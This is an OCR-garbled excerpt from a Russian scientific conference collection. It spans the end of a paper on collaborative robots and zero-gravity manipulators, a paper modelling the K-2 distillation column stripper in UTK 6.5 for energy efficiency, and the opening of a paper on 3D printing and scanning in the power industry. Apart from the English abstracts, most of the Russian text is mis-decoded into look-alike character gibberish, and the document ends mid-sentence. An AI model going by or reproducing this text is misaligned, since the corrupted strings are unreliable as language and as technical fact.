T.K. paboTa omepaTtopa Takoi cucTeMbl He TpeOyeT (usnyeckux ycunuit. Kpome toro, nannas
CHCTEMa CHIKAeT (PU3UUECKYIO Harpy3Ky Ha JF00O0Tro YeloBeKa, a TAakKe UCKITIOYACT TPaBMBI OT
HEMPaBUILHON pabOTHI C TSHKENBIM TPY30M.

ABTOMAaTH3AIMS TPOU3BOICTB.

[TpoMbIlINIeHHBII POOOT CO3JaH HMMEHHO C LENbI0 aBTOMATH3allMU IPOHM3BOCTB,
MOATOMY €10 3(PPEKTUBHOCTh B 3TOM BOIIPOCE SIBIISICTCS HEOCITOPUMBIM TIPEUMYIIIECTBOM ITEPe;]
MaHHITYJSTOPOM «HYJIEBOW TpaBUTAMKY. [IpOMBIIUIEHHBIE POOOTHI CIOCOOHBI OCYIIECTBIISATH
LMK TOJTHOCTBIO O€3 y4yacTusl 4YelloBeKa, TeM CaMbIM HCKIIIOYasl 4ejJoBedecKuil (axkrop u3
MPOM3BOACTBA. J[1sI aBTOMAaTU3UPOBAHHOW JMHUU TPeOyeTCs JIMIIb OMepaTop-HaOIoaTeNb,
KOTOPBIA CHOCOOEH MpEeANpUHUMATh MEPhl B Clydae aBapUHHBIX CUTYyallUd, MEepecTpanuBaTh
CHCTEMY Ha IIPOM3BOJICTBO JPYroro 00beKTa.

Ecnu Hama 1nenb co31aTh aBTOMaTU3MPOBAHHYIO SIUEHKY ¢ MUHUMAJIbHBIMH 3aTpaTaMH,
TO MBI MOXEM O00BEIMHHUTH B ce0e poOOTa U MAHUITYJISITOP «HYJEBOM rpaBUTaliMny». B kauecTBe
NErkoro, MOOWJIBHOTO M TOJABHM)KHOTO PEIIEHHS MOXKHO B3ATh KOJUIA0OPATHUBHBIM poOOT €
MUHHMAJIBHOW TPY30MoasEMHOCTEI0. HaMm He Tpebyercs rpy30moabEMHOCTh OT pobOoTa, T.K.
3TOT BONPOC PEIIaeTCs MAHUIYJSITOPOM «HYJIEBOW IpaBUTaUuu». B cBOlO ouepenb, manas
rpy30MOABEMHOCTh CHUXKAET CTOMMOCTh pobota. Tak, camas muamamas mozaeins «KR 4 R600»
kommnanun KUKA, nponaéres npubmusutensao 1o nieHe ot 18000 mo 40000 mommapos CILIA, a
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Fanuc npemaraer cBoro Miaamyo Moaeias «CRX-51A» o mexe ot 30000 10 50000 momtapos
CLIA, B 3aBHCUMOCTH OT IIOCTAaBIIMKOB, YCIOBHH JJOCTaBKH, CTOUMOCTH TaMOXHHU U MPOYHX
JIOTUCTHYECKUX 3aTpar. [loMHMMO IIMpOKO M3BECTHBIX KOMIIAHHH €CThb BO3MOKHOCTb
paccMOTpeTh TPEIUIOKEHHsT PA3BUBAIOIIUXCS KOMITaHUM, KOTOpbIe, HE YCIEB MpHOOpecTH
peryTanuio, HE 3aBbIIIAOT LIEHbl HAa CBOM ToBaphl. Ho, naxke yduuThIBash LEHBI OT
PACCMOTPEHHBIX KOMIIAHUHM, IyTEM HECIOXHBIX MOJCYETOB MOXKHO COOpaTh KOMIUIEKT W3
PaCCMOTPEHHOTO MAHMITYJIITOPA U KOJUTA0OpaTUBHOTO po0oTa, 1eHoi okoo 50000 mosmapos
CIHA, uyto nmemieBne 6a30BOM KOMIUIGKTAIIMK MPOMBIIIIEHHOT0 poboTa 3a 100000 mommapos
CIIIA Tex »e KOMITaHuH.

[ToMmuMO 3TOro, TMOKyNMKa MAaHMITYJISATOP «HYJIEBOM TIpaBHTAlMW» He Tpeldyer
aBTOMaTH3allM Ha cTapre. Mbl MOXKeM HCIOJb30BaTh oOmepaTopa, a MpHOOpecTH
KOJTA0OPAaTUBHOTO POOOTA, KOraa OyaeM UMeTh (PMHAHCOBYIO BO3MOYKHOCTh. TeM caMbIM Takoe
pellicHHe CHMXKaeT €IMHOBPEMEHHBbIC 3aTpaThl M, B CBOIO OuYepe/b, JOJITOBYIO HArpy3Ky, B
cltydae eciim 000pyA0BaHUE MIPUOOPETACTCS B KPEIIHT.

Baxmuble ocoOeHHOCTH

[TomMrMO BBIIIETIEPEUNCIICHHBIX (D)AKTOB CTOWUT YYUTHIBATH W JIPYTHE HIOAHCHI TPH
NPUOOPETEHUH U SKCIUTyaTallui CUCTEM:

. laGaputel. lleHa MaHHITYISATOPOB «HYJEBOM TpaBUTAlMM» HE  3ps
3HAUUTEJIBHO HIKE MTPOMBIIUIEHHBIX poOOTOB. UeM BbIIIE IPy30110JbEMHOCTh
— TeMm Oosplie rabGapuTHbIE pa3Mepbl, YTO MOXKET ObITh MpOOIEeMON JUIs
BBEJICHUS B HKCILUTyaTalMI0 HA HEKOTOPBIX MPEANIPUSITHS.

. Kamudukanus. Kpanudukanmm TeKymHMX COTPYIHHUKOB MOXKET OBITh
HEJOCTaTOYHO  JUIi  IpaMOTHOM M Oe30macHOM  SKCILTyaTaluu
HOBOIIPHOOPETEHHOTO O00OPYIOBAaHUS, a CJICOBATEIBHO, OYAYT TpeOOBATHCS
JIONIOJIHUTENIbHBIE TPAThl Ui TOBBIICHUS KBalM(UKanuu paboymx, 4To B
JanbHeNeM MpUBeAET K MOBBIIICHUIO UX 3apa0OTHOM IIaThl Tpyaa. Takxke
€CTh BO3MOXXHOCTh HaliMa HOBBIX COTPYAHHKOB, HO CTOMMOCTh MX TpyJa
MOXeET OBITh 3HAUUTEIBHO BBIIIE, YEM TEKYIIHX.

. beszomacHocts. HecmoTps Ha TO, 4YTO cHcTeMa C  HCIOJIb30BAaHHEM
MaHUTYJISITOPOB «HYTEBOW  TpaBHTAIlMM»  WMEET  BO3MOXKHOCTH
KOJUTA0OPaTUBHOCTH, OHa TpeOyeT JIONMOJHUTEIbHBIX YCTAaHOBKH Mep
0€30IacHOCTH M MOXKET ObITh OMNAaCHOW, B CIIydae HMX HEJOCTATOYHOCTH.
OrpaauTenbHbIe YCTPOICTBA, JATYMKH — BCE ITO TaKKe TpeOyeT 3aTpar.

. PemonT, oOcmyxuBaHue ¥ ycTaHOBKa. Ecium B KOMIAHMM  HET
BBICOKOKBAJIM(PUITUPOBAHHOTO CIIEIIMAIIUCTA C OIBITOM, TO OOCITY)KHBAaHHEM U
MOHTaXOM OYJeT 3aHMMaThCsl JUOO TIOCTaBIIMK CHUCTEM, JHOO HaEMHBINA
pabounii. ITO TOKE CTOMT YUUTHIBATH MPH MPUOOPETEHUH CUCTEM.

. Wnrerpanusa. Ecnu Ha y4acTke yke €CTh aBTOMAaTH3allys, TO MHTErpaius B
He€ HOBOTO yYacTHHKA ITUKJIAa MOXKET MOBJIeYb 332 COOO0M CII0KHOCTH.

*kk
1 URL: https:/iww.fanuc.conV (mara o6pamenus: 25.12.2024)

2. URL: https://iwww.kuka.com/ (nata obpamenus: 25.12.2024)
3. URL.: https:/iww.schmalz.com/ (mara o6pamenus: 25.12.2024)
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AHHOTAIINA

B nanHoli cTaThe paccMOTpeHa MaTeMaTHdeckass MOJeIb 4acTH atMochepHOro Oioka
YCTAaHOBKH TEPBUYHOTO pasjeneHuss HedTH, pa3paboTaHHAas C HCIOJIB30BAHUEM CpE/ICTB
nporpammHoro obecrneuerus (I10) YTK 6.5 (AO «MHUYCy, r. CapatoB) 1 MOIETUPOBAHUS
XMMHUKO-TEXHOJIOTMYECKHUX MPOLECCOB, padoTaromias MaKCUMaJIbHO NPUOIMKEHHO K peaibHbIM
YCJIOBHSM Ha NPOM3BOACTBE U IMOJHOCTBIO OTOOpa)<aroliasi Bce MPOLIECCHl, NPOTEKAMOIIME Ha
peasibHOM oOopynoBaHuu. Ha ocHOBe TOMydyeHHOW MOZAETM OBLT HCCIEIOBAaH CIIOCO0
MOBBIIIEHUs] 3HEPro3((EeKTUBHOCTH YCTAHOBKH, MOCPEACTBOM OLEHKH 3(P(EKTUBHOCTH ee
paboTHI pU M3MEHEHUH O0BSI3KHM OJI0Ka aTMOC(hepHO# KOJIOHHBI K-2.

KiioueBble cjIOBa: MOJEIMPOBAaHHUE, MOJENIb, KOMIBIOTEPHBI TPEHAKEPHBIN
KOMILIEKC, aTMOc(epHasi IEperoHKa, peKTuuKaiys, peKTuuKauoHHas KOJIOHHA, CTPUIIIKHT,
OTMapHasi KOJIOHHA.

Abstract

This paper considers a mathematical model of a part of the atmospheric distillation
section in the primary oil separation unit. The model is built with the use of software (SW)
named UTK 6.5 (AO INIUS, Saratov) for chemical and technological processes simulation; it
works in realistic conditions of a production site and fully reflects all the processes of the actual
equipment. Based on the obtained model, a method for improving energy efficiency of the unit
was studied by evaluating efficiency of its operation when the package piping of K-2
atmospheric tower section was changed.

Keywords: simulation, model, computer-aided simulator complex, atmospheric
distillation, rectification, fractionating tower, stripping, steam stripper.

B cBs131 ¢ MOCTOSIHHBIM POCTOM 00BEMOB MEPEPaOOTKU HEDTH, YBEIUYECHUSI CTOMMOCTU
HEPTSIHOTO CBHIPhSI U HE(PTEHMPOMYKTOB, YKECTOUCHHUS SKOJIOTUYECKUX U IKCILTYyaTAIIMOHHBIX
TpeOOBaHMI K KadeCTBY NPOAYKTOB TiepepabOTKu HEPTH, BO3HHUKAET HEOOXOAMMOCTH B
ONITIMH3ALIMU TIPOIIECCOB TOATOTOBKU M TIepepabOTKH HE(PTSIHOTO CHIPhS C IETBI0 CHUYKCHUS
MOTPeOJICHUs] SHEPrMHd U ChHIPbS, MONyuYeHHsS MPOAYKTOB C Ooliee BBICOKMM KadeCTBOM,
YIOPOILEHUS ~ ammaparypHoro oQopmieHus. MoJend TeXHOJOTHYECKHX TPOLECCOB B
KOMITbIOTEpHBIX TpeHakepHbIx komruiekcax (KTK) mosomstor uccienoBath 3(pPeKTHBHOCTH
METOJIOB ONTHMHU3AINH TIPOIIECCOB HeTerepepadOTKH sl JOCTHXKEHHS TIOCTABJICHHBIX IIETICH.

KTK mpencraBiser coOOl NpOrpaMMHO-BBIUMCIMTEIBHBIA KOMIIEKC B COCTaBE
HECKOJBKHX TEPCOHATBHBIX KOMITBIOTEPOB, OOBEIMHEHHBIX B JIOKAJTHHYIO BBIYMCIUTEIBHYIO
CeTb M TMpeJHa3HayeH Al OOydeHHUs] OMNepaTopoB BEICHUIO TEXHOJIOTMYECKOTo Ipolecca,
OTpa0OTKH MITATHBIX M HEIITATHBIX CUTYAIUH MOCPEICTBOM IMPOXOXKICHUS CIIEHAPHEB ITyCKa,
IJJAHOBOM M aBapUMHOM OCTaHOBKM, aBapuiiHbiX crieHapueB. KTK mo3Bossier, moMumo
OOyuYeHHUs] HOBBIX COTPYAHHMKOB, OCYHIIECTBISTH PETYSPHYIO IMPOBEPKY HABBIKOB M 3HAHUM
JEUCTBYIOIIETO IEPCOHAIIA, TOCPEICTBOM OTPAOOTKH TUMOBBIX CUTYaIuii [1].
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KTK mno3Bonsier mpuoOpectd W OTpaboTaTh TEXHOJOTHYECKOMY  TIE€PCOHATY
MPAaKTUYECKUE HABBIKU: JIOKAJM3AIMK aBAPUUHBIX CUTYallUl, BOSHUKAIOIINX KAK OT BHEITHHX
(mpekpalieHle MoJjauu ChIpbsi, pEareHToB, YHEPrOPECYPCOB), TAK M OT BHYTPEHHUX BO3MYIIIEHU I
(HapymeHust B pa0oTe, OTKa3bl, HEUCIPABHOCTH U TOJOMKH BCEX BHJIOB OOOpPYIOBaHMSA);
W3YUYEHHS BIMSIHUSL PA3JIMUHBIX IMapaMeTpOB MPOLIECCca, BHEIIHUX U BHYTPEHHHX BO3MYILEHHIA,
Ha KOJHMYECTBEHHBIC MOKA3aTEId TMPOM3BOJCTBA M KAYECTBEHHBIE TOKA3aTeNU MPOAYKTOB;
paboTHI B pealMCTUIHOM HHTEpdeEiice onepaTopa pacnpeaeneHHon cucteMbl ynpasieHus (PCY)
YCTAHOBKM; MOJICIUPOBAaHUSI PabOTHl 00BEKTa B PA3IUYHBIX pPEXKUMaxX U YCIOBHUSX
IKCIUTYaTanuu [2]. DTO TO3BOJSET CHMXKATH MOTEPH, CBI3aHHBIC C OIMIMOOYHBIMH JTEUCTBUSIMU
MepCOHala, MOBHIATh 6€30MaCHOCTh U 3(PPEKTUBHOCTH MPOU3BOICTBA. BBICOKOTOUHBIE MOJIETH
texHojornyeckux TmporeccoB B KTK, cpenn mpouero, Aar0T BO3MOKHOCTh MPOBEICHUS
HKCTIEPUMEHTOB i ONTHMHU3AIMU PAOOTHI YCTaHOBOK, OTJIAXXHBATh JIOTHKY W aQJTOPUTMBI
CHCTEM YIpPaBIICHUS.

Maremaruueckasi AUHaMHUYecKass Mojeidb KoJMoHHBI K-2 arMmocdepHoro Oimoka
nepBUYHOrO pasaeneHus Hedtu (puc.l), co3nanHas Ha 6a3e mporpammubix cpenctB YTK 6.5
(AO «MIHUYC»), sBisieTcss MakCUMaibHO HNPUOIIMKEHHON K peabHOMY TEXHOJOTHYECKOMY
nporeccy [3]. Monens atmocdepnoro 6moka B YTK 6.5 mpencrapisier co0oil COBOKYITHOCTh
OT/INbHBIX MAaTEMaTHYECKUX MOJEJEH armapaTroB, KOTOPbIE B3aMMOJCHCTBYIOT APYT C IPYroM
Ha OCHOBE DEIICHHS TUHAMUYECKHUX CHUCTEM HENMHEHHBIX IU(QPEepeHIUANBHBIX ypaBHEHUN
XAUMHYECKOH KWHETUKH, YpPaBHEHHWH TEIUIO- W MAacCOOOMEHHBIX TIPOIECCOB, YpaBHEHHM
THIPOJIMHAMUKY U TUIPABIUKY, a TAKKE YPaBHEHUI cocTossHUS. B kauecTBe chipbsi KOMOHHBI K-
2 npu pa3paboTke Monenu Obuia BbIOpaHa CMeCh, COCTOSINAS M3 WHAWBUAYAJIBHBIX
KOMITIOHEHTOB (3TaH, MporaH, 0yTaH,  T.1.) ¥ TICEBJOKOMIIOHEHTOB — YCJIOBHBIX KOMIIOHEHTOB,
OIMCHIBAIOIINX y3KHE 0 MHTEpBAJaM KHIEHHs (PPaKIHU B COCTaBE YIIICBOMOPOIHOW CMECH,
OONafaIMX  YCPEeNHEHHBIMH Ui pakiuii  QU3UKO-XMMHUYECKUMH  CBOWCTBAMHU.
Pa3zpaborannas Mojenb paboTaeT cTaOWIBHO M aJIeKBaTHO, TEXHOJIOTMYECKUE MapameTpbl
HAXOJIATCS B Tpe/ieTiaxX periJaMeHTHBIX 3HaUeHU. BOKOBBIE MTOTOHBI, OTXOAAIINE U3 KOIOHHBI K-
2, TOCTYTAOT B OTMAPHBIE KOJIOHHBI, & 3aTE€M BBIBOJISITCS C YCTAHOBKH.
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Pucynox 1. Mnemocxema ammocgeproeo onoka ¢ YTK 6.5.

C wuenblo MOBBIMIEHUS HSHEProdPPEKTUBHOCTH aTMOC(EpHOro OJI0OKa YCTaHOBKU
MEPBUYHOTO pa3zieneHusi HeTH ObLJIO MPEAJIORKEHO HCIOJIb30BaTh TEIUIO HUPKYISIIIMOHHBIX
opoleHuii atMocdepHoil KomoHHBI K-2 111 HarpeBa MOTOKOB, OTXOMSIIMX W3 KOJOHHBI B
CTPUIIUHIY. B yacTHOCTH, HCIOIB30BATIOCH BTOPOE HUPKYIISALMOHHOE OPOLICHUE (TeMIeparypa
Ha BbIX0ZIe M3 KotoHHBI 240°C) 1715l HarpeBa MoToka, ocTymnaromiero B ctpurmuar K-2/1.



-172-

JIlendenyuu paseumus HAyKu u obpasosanis

Ha pucynke 2 npezcrabieHa cxema otnapHoi konoHHbI K-2/1 ¢ mogadeii meperperoro

BOJISIHOT'O Tapa.
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Pucynox 2. Muemocxema omnapnoti kononnvt K-2/1.

Ha pucynke 3 mnoka3ana wmojens crpunmnmura K-2/1 ¢ oOorpeBoM mnoToka u3
B TEIJIOOOMEHHMKE C TIOMOIIBI0 BTOPOrO IHUPKYISLIHMOHHOTO
opormreHusi. CxeMa TakKe BO BPEMEHH CTaOWIbHA, M30BITOYHOE NIABICHUE BEpXa KOJOHHBI 78
klla, Hm3a — 82 klla. Iloroxk w3 K-2 B cxeme, ¢ 00OrpeBOM CTPUIIIMHTAa BTOPHIM
LUPKYJISILUOHHBIM OpPOLIEHUEM, NTOJIAETCS Ha MSATYIO TapeJIKy CTPUIIIIMHTA, TEMIIepaTypa Ha Hel
134°C. TernmnooOMeHHUK HUCIIONB30BANICS KOKYXOTPYOHBIN, C MPOTUBOTOYHON CXEMOM JIBIKECHUS
TEIJIOHOCHUTEIICH, TIOIIa b OBEPXHOCTH TEII000MeHa 45 M2; TemrepaTypa HUPKYISLUOHHOTO
opomenus 240 °C. Mcnonb30BaHue HarpeBa MoToOKa, MOCTYMaroIero B kojoHHy K-2/1, Bropbim
LUPKYJISIIMOHHBIM OPOILICHUEM IO3BOJIMIIO MCKITIOYUTH HArpeB Ky0a CTPUMIKHIA IEPErPeThIM

aTMOC(hepHOH KOJIOHHBI

BOISAHBIM IIaPOM.
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Pucynok 3. Mnemocxema omnapnoii konounst K-2/1 ¢ 0boepesom nomokom 2 yupkyIsyuoHHO20 OPOULEHUSL.

TeroBoit OGanmanc crpurmunara K-2/1 ¢ momadeld meperpeToro BOJSHOIO Mmapa
npesacTaBieH B Tabmuie 1; ¢ 000rpeBoM MOTOKOM BTOPOIO LUPKYJISLMOHHOTO OPOLIEHUs — B

Tabmure 2.

Tabnuya 1

Tennosou bananc cmpunnunea K-2/1 ¢ nooaueii nepecpemozo 80051020 napa.

Ipuxoo Konuuecmeo mennomei, Pacxoo Konuuecmeso mennomui,
MIic/4 Morc/4
Tomoxk u3z K-2 10367 Iaposas asza 5508
Ilepezpemutii 6o0siHoul nap 1231 JKuokas gpasza 4896
Tlomepu 1194
HUmozo 11598 11598
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Tennosotui banauc cm

Tabnuya 2

punnunea K-2/1 ¢ 06oepesom nomoxom 2 yupkyisiyuOHHO20 OPOULEHUSL

Tlpuxoo Konuuecmeo mennomei, Pacxoo Konuuecmeo meniomei,
MIic/4 Morc/q
Tomox u3z K-2 10678 Iaposas ¢aza 4347
JKuokas hasa 5190
Tlomepu 1140
Hmoeo 10678 9537

bbulo mpoBeneHO UCClIEJOBaHME BO3MOXKHOCTH — YIPABICHUS TEMIIEPATypoill B
CTPHIIIIMHIE ITyTEM BapbUPOBAHUS pacXoja IPEOIero TeIUIOHOCUTENIS, HA OCHOBE MOTYYEHHBIX
Pe3yIBTATOB MOCTPOCH TpadUK, OTPANKAIOIIUN BIUSHUE PACcXOAa BTOPOTO IUPKYISIUOHHOTO
OpOIIIEHUS Ha TeMIIepaTypy Ha IUTaTeIbHOM Tapenke ctpunmnunra K-2/1 (puc. 4).

140

138

136

124

13z

130

128

TemnepaTypa Ha nuTatoLLei Tapenke, °C

126

15 20 25

Pacxop TennoHocKTeNA, M3y

35

Pucynox 4. I'pagux 3asucumocmu memnepamypuvl na numaiowjed mapeinxe cmpunnurea K-2/1 om pacxooa
2peroujeco menioHOCUMEns.

Taxoke ObLIO POBEIEHO UCCIIEAOBAaHNE BIMSHUS PAacXo/ia IPEroIero TeIIOHOCUTENS Ha
JI0JTM TIAPOBOH M JKUIKOW (a3, oTOMpaemMbIx u3 crpunmmHara K-2/1, pe3yasTaTel MpeacTaBIeHbI

Ha PUCYHKE 5.

70
60

50

Konuuectso dasbl, % macc

71 13,9

20,3 261

Pacxog TennoHocutens, m3/y

W Map

HMuorocTo

Pucynox 5. lucmozpamma 3a8UcumMocmu KOI4ecmea naposoil u i#cudxol gas, omoupaemvix uz cmpunnumea K-2/1,
om pacxooa 2 yupKyIsIUOHHO20 OPOULEHUSL.
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Ha ocHOBe MpoOBEICHHBIX MCCIIEAO0BAHUI, MOYKHO C/IENATh CICAYIOIINE BHIBOJIBI: 3aMECHA
rpC€rouIcro Iapa, rnoAaBacMoro B CTPUIIIIHMHI, Ha BHEIITHUM TeHJIOOGMeH IIO3BOJIACT ILO6I/ITLCH
HEOOXOTMMOTO TEIIOBOIO OajlaHCca U BO3MOXKHOCTH BapbUPOBATh TEMIIEPATYPy B CTPHITIIHHTE B
npeenax periaMeHTHBIX 3HAYeHUH; U3MEHEHHEM PAcXojia TPEIOIIEeT0 TeTUIOHOCUTENSI MOXKHO
BapbUPOBATH OTOOP MAPOBOM 1 KUIKOH (Pa3bl U3 CTPUIIITHHTA.
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IIpumenenne 3D-neuyatn u 3D-ckaHMpoBaHKS B 3JIEKTPO3HEpPreTHKe
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AHHOTAIUSA

3D-TexHOIOTUH B AIIEKTPOIHEPTETHKE 00ECIIEYMBAIOT COKPAIIEHHE MTPOM3BOICTBEHHOTO
LIMKJIa, SKOHOMHUIO CPEICTB M JIIOACKUX pecypcoB mnpennpuarus. 3D-ckanupoBanue
SHEProOOBEKTOB IMO3BOJISIET PEIINTh IEPBOOUEPENHYI0 3aJady IOJYYEeHUS TPEXMEPHOU
udposoit CAD-Moznenu u ee yepTexeil ¢ BBICOKOM TOYHOCTBIO, HEOOXOAMMBIX Ul PEIICHUs
3a7a4 KOHCTPYHPOBAHHS, MPOCKTUPOBAHUS, KOHTPOJS KAdecTBA, JWArHOCTUKH, JajbHEHUIIEH
3D-meyatu U apyrux MHXEHEPHBIX 3a7ad. TexHonorus 3D-mevaTy urpaet 3HaYUTENbHYIO POIh
B YCKOPEHHUH TIepexo/ia K BO30OHOBISIEMBIM UCTOYHHUKAM SHEPTUH, UMEET TaKHE TIPEHMYIIECTBA
KaKk DKOHOMHMYHAass W ObicTpas pa3paboTka NpPOTOTUIIA, MOBBIIIEHHE APPEKTUBHOCTH U
HACTPOWKH, KACTOMH3AIHS U CIIO’KHAS TE€OMETPHSI.

KiawueBble ciaoBa: 3D-texnomorun, 3D-mewats, 3D-ckanupoBaHue, aJJUTHBHBIC
TexHosnoruu, 3D-npunTep, 3NEKTPOIHEPreTHUKA.

Abstract

3D technologies in the electric power industry reduce the production cycle, save money
and human resources of the enterprise. 3D scanning of power facilities allows us to solve the
primary task of obtaining a three-dimensional digital CAD model and its drawings with high
accuracy, necessary for solving design, engineering, quality control, diagnostics, further 3D
printing and other engineering tasks. 3D printing technology plays a significant role in
accelerating the transition to renewable energy sources, with advantages such as cost-effective
and rapid prototype development, increased efficiency and customization, and complex
geometry.

Keywords: 3D technologies, 3D printing, 3D scanning, additive technologies, 3D
printer, electric power industry.

Tema cozmanusi 3D-mozeneil CTAaHOBUTCS HEOTHEMJIEMOM YaCThIO IMPOCKTHPOBAHHS
00BEKTOB BceX cdep MesATeIbHOCTH YEJOBEKa, BKIIIOYAs 3JIEKTpOdHEepreTuky. Passutue u
npumeHeHue 3D-neuatu u 3D-ckaHupOBaHUs B JIEKTPOIHEPIETUKE AKTYyaJIbHAS U COBPEMEHHAs
tema B Poccun. B coBpeMeHHBIX pealmsix HEOOXOAWMO CTPEeMHUThCS K TOMy, 4ToObl 3D-
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MOJICIMPOBAaHKUE  MPUMEHSUIOCh HA  KaXKAOM d3Tale  d3KCIUTyaTallud  3HEPreTHYeCKOro
000pYAOBaHHUS - OT IPOSKTUPOBAHHUSI JI0 TIOJTHOCTHIO 0€30MacHOT0 BBIBO/IA M3 PAaOOTHI.

s GecniepeOOHONM TIOAYM  AJIEKTPOIHEPTrUU BCE 0oJjiee BaKHBIMH  CTAHOBSITCS
s deKTUBHAS dKCIITyaTallksl MACIITA0HBIX JIMHUH AJIeKTponepenay i ooecreueHus] HaaeKHON
MO/Ia4M JJIEKTPOIHEPruu. B CBS3M ¢ yBEIMUYEHUEM MPOTHKEHHOCTH BBICOKOBOJIBTHBIX JIOII
TpaJMIIMOHHBIE METOJbl HAONIOJCHUS M MOHUTOPUHIa HE CHOCOOHBI OBICTPO U TOYHO
orcnexxuBath coctosiaue JIOII. Jlnst pemenwss mpoOieMm, CBSI3aHHBIX C  OOCTY)KHBAaHHEM
JIEKTPOCETEH, HMCMONB3YIOTCS COBPEMEHHBIE METOAbl, TAKUE KaK Ja3epHOE CKAHUPOBAHME.
TexHonorust npuMeHsieTCs Ha 3Tare NPOeKTUPOBAHUS, CTPOUTENBCTBA, B X0/I€ PEKOHCTPYKIIMU U
peMonTa. C TIOMOIIIBIO JIA3EePHBIX CKAaHEPOB yHAa&Tcs peliaTh criennpuueckre 3a1auu 0OMepoB ¢
BBICOKOW TOUHOCTBIO, MOTy4aTh OOBEKTUBHBIE TEOMETPUUECKUE JAHHBIE HA 00BEKTAX, KOTOPHIE
OTHOCSITCSI K KATErOpUH ONACHBIX, CJIOXKHBIX. BO3MOXKHO MpoBesieHne paboT Ha TaKUX OOBEKTAX,
KaK BO3AYILIHBIC IMHUU dJIEKTPONepeay, 31aHus U COOPYKEHUS SJIEKTPOCTAHLIUH, TIOJICTAHIIHH.

Oco0EHHOCTH MCMOJIb30BaHMSI JIA3EPHOTO CKAHUPOBAaHUS HA 00BEKTAX IHEPrETUUECKOIO
KOMILJIEKCa:

. [IpoextupoBanue. Vcrnonbs3zoBanue 3D-ckaHepoB akTyaqbHO Ha JTarne
(opMHpOBaHUS TPOEKTHOM, TPH TPOBEACHUM KOMILIEKCA WHKEHEPHBIX
M3bICKaHN Ha oOBekTe. Takke C BBICOKOW A dekTnuBHOCTRIO 3D-Momenu
UCTIONB3YIOTCS JUTS OCIIEIYIOLIEr0 KOHTPOJIS X0/1a BBINOIHAEMBIX paboT.

. CrpoutenbcTBO U PEKOHCTpYKLMs. JlazepHoe CKaHMpOBaHUE — MHCTPYMEHT
MOJTYYEHUS] BBICOKOTOYHOM JETANBHOM HWCIONHUTETBHON TOKYMEHTAIIUH,
MI03BOJISAS BHE 3aBUCUMOCTH OT pa3MepoB 00ciielyeMoro 00beKTa, ONpeIeuTh
Ka4eCTBO M OOBEMBI BBITIOTHEHHBIX Pa0OT, MX COOTBETCTBHE MPOEKTHBIM
JTAHHBIM, HOPMATHBHOM JJOKYMEHTAIHH.

. Okcrutyartarust. TeXHOIOrHs IPUMEHSIETCS] Ha IEHCTBYIONINX YHEPTETHYECKIX
00BEKTax JJIsi MOHUTOPHHTA HMX COCTOSIHUS, TPH COCTABJICHUH JE()EKTHBIX
BEJIOMOCTEH, cOOpe JAaHHBIX Ul CUCTEMBbl YIPABICHUS OOBEKTOM U B XOJ€
WCTIOJIHUTENFHON ChEMKHU.

Bce nepeuncieHHble BO3MOXHOCTH BBIITOJTHSIOTCS TIPU BBICOKONH CKOPOCTH U TOYHOCTH
BBITIOJIHEHHUST W3MEHEHWH C TIPHUBJICYCHHEM MHHHMAIBHOTO 4YHCIAa COTPYIHHKOB |
BO3MO’KHOCTBIO JTUCTAHIIMOHHOT'O YIPaBJICHUsI 00OPYI0BaHHEM C IUIAHIIETHOTO KOMIBIOTEPA,
HoyTOyKa, WLAN uepe3 WiFi. [2]

Metonom pemieHust MpoOJIEMBl BOCCTAHOBJIEHUS TE€OMETPUYECKHX JIaHHBIX 00
SHEProoOBEKTE U €ro OOOpYIOBAHMU SIBISAETCS CKaHUPOBaHHE MOJCTAHIMM U €€ OTIENbHO
CTOSIIIETO 00OpPYOBaHMs, MMEIOIIEr0 NMPOCTYI0 WM CIOXHYI0 TreoMeTpHio. CKaHMpOBaHHE
MO3BOJISIET 00ECHEeYUTh IIOJHOE BOCIPOU3BOJICTBO TOMOrpapUUECKUX M T'€OMETPUYECKHX
TaHHBIX 00 oHeprooOwvekre. Ha ocHoBe 3D-CKkaHMPOBAaHUS CTAaHOBUTCS BO3MOXHBIM
BBINOJIHEHHE OOpaTHOTO WHXKMHUPUHTAa — BOCCO3/IaHUE YTPAYCHHBIX WM CO3JIaHHe
aKTYaJIbHBIX TUIAHOB M YepTEeXed, HEOOXOMUMBIX Ui TPOBEICHUS PabOT MO TEXHUYECKOMY
MIEPEBOOPYKEHUIO WM PEKOHCTPYKIMH SHEProoObeKTa, a TakKe TEXHOJOIMYECKHX KapT
sHeprooObekTa. 1o uTtoraMm BBIMONHEHHS OOPaTHOrO MHKWHUPHHIA CTAHOBUTCS BO3MOXKHBIM
MPOBEJICHNE KOHTPOJSI KayecTBAa BBIMOJHEHHBIX CTPOMTEIbHO-MOHTAXHBIX pabOT, aHaIN3
MEXaHWYeCKHX Jedopmanuii, MOBpeKACHUI M M3HOCA MOBEpXHOCTEH oOopymoBanus. [lanee
MoJy4eHHasi HHPOpMaLUs O TPEXMEPHBIX 00pa3ax SHEProoObEKTOB XPAaHUTCS B BUJIE apXvBa U
MOXET OBITh JOCTYIHA JIIOOOMY PaOOTHHKY NPENNpUSATHS SJIEKTPOIHEPTeTUKH Ha JFOOOM
paboueM MecTe, B TOM UHCIIE C OTKpPBITOrO cepBepa. BakHBIM 53JIE€MEHTOM Mpolecca
OTIEpaTUBHOTO CKAaHMPOBAHUS WM AajbHEHIIeld oOpaOOTKM TaHHBIX [0 UTOTaM CKaHHPOBAHHMS
SIBJISIETCS. BO3MOYKHOCTD TPOBEJICHHUS N3MEPEHUIM FeOMETPHUYECKIX MapaMeTpoB 00OPYA0BaHMUS,
HaXOJISIIErocs B paboTe, B TOM YHCJIIE [O]] HAIIPSKEHUEM.

[[BeTHOE Ja3epHOE CKAaHUPOBAHHE OOBEKTOB AIIEKTPOIHEPreTUYECKUX  CHUCTEM
BBITIOJHSETCS 32 MHTEPBAJI BPEMEHHU OT 1-ro yaca 10 3-X JHEH, B 3aBUCHMOCTH OT TUIOMIATN H
cnokHocTH 0o0bekTa. Kak mpaBuno, mis ckanupoBanusi mpoctoro snementa (TT wmum TH)
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Heo0XoauMo BpeMs B oobeMme 110 30 muH. /[t ckaHupoBaHus cuiioBoro tpancdopmaropa — 1
yac, Juisd ckanupoBaHus noactanmuu ¢ OPY 220 u 110 kB Heooxoaumo Bpems 10 20 yacos (3
pabouunx jaHs). s CKAaHMPOBAHUS ITOJICTAHIIMYM IUIAHUPYIOTCS MECTa YCTAaHOBKH CKaHepa Ha
IITaTUBE U TPAEKTOPHs MX 00Xxo/na Oa3upoBaHUS MOOWIBHOTO ckaHepa. [locie ycTaHOBKHU
